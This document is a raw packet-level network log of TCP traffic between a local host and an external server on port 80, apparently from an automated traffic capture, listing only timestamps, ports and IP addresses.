Jun 4, 2024 23:09:16.260301113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260304928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260314941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260324955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260329962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260341883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260349989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260355949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260366917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260375023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260379076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260387897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260390043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260401964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260411978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260412931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260426044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260437965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260445118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260452986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260462046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260473013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260478020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260493040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260502100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260504961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260516882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260540009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260545015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260551929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260555983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260566950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260576963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260579109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260591030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260591984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260605097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260606050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260616064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260627985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260629892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260639906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260652065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260653019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260663986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260669947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260677099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260680914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260691881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260695934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260704041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260713100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260715961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260727882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260739088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260741949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260752916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260762930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260766029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.260776997 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.260799885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261085033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261121988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261125088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261145115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261154890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261156082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261174917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261188984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261322021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261338949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261349916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261360884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261373043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261378050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261384964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261396885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261406898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261409998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261421919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261426926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261432886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261447906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261447906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261461020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261475086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261478901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261490107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261501074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261506081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261512041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261522055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261524916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261535883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261542082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261548042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261558056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261559010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261569977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261580944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261584044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261600018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261605024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261616945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261620998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261630058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261640072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261646032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261651993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261662960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261670113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261674881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261684895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261686087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261697054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261708021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261714935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261727095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261732101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261738062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261748075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261750937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261763096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261771917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261775017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261786938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261795998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261799097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261809111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261810064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261821032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261831999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261836052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261845112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261854887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261859894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261868954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261878014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261881113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261892080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261893988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261904955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.261917114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.261940956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.262986898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263014078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263025999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263050079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263214111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263230085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263242006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263254881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263257027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263268948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263268948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263281107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263281107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263294935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263303041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263305902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263318062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263320923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263334990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263338089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263355017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263358116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263365984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263376951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263384104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263389111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263400078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263406038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263410091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263418913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263422966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263433933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263442039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263447046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263458014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263463020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263467073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263468027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263482094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263494968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263499022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263510942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263515949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263521910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263528109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263535976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263537884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263554096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263556957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263567924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263577938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263577938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263588905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263601065 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263606071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263616085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263622999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263628006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263637066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263642073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263653994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263659954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263664007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263669968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263680935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263686895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263691902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263704062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263706923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263715982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263726950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263731956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263737917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263750076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263751030 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263761997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263767958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263773918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263787985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263792038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263798952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.263807058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.263832092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264029980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264043093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264060020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264075041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264095068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264149904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264162064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264173985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264185905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264198065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264203072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264221907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264297009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264313936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264326096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264336109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264337063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264348030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264350891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264358997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264369965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264381886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264385939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264393091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264406919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264415979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264417887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264424086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264430046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264430046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264465094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264468908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264487982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264499903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264513016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264525890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264525890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264537096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264544010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264548063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264559031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264564991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264564991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264570951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264581919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264592886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264600992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264605999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264624119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264628887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264636993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264641047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264652967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264664888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264668941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264677048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264678955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264688015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264703035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264703989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264715910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264728069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264731884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264740944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264746904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264753103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264765024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264770031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264775991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264791012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264796972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264801979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264813900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264822960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264825106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264837027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.264839888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264864922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.264893055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265219927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265247107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265288115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265434980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265451908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265464067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265475988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265486956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265494108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265497923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265511036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265511990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265521049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265533924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265537024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265552044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265554905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265567064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265578032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265582085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265589952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265593052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265602112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265614033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265621901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.265624046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.265652895 CEST	49713	80	192.168.2.11	77.91.77.81
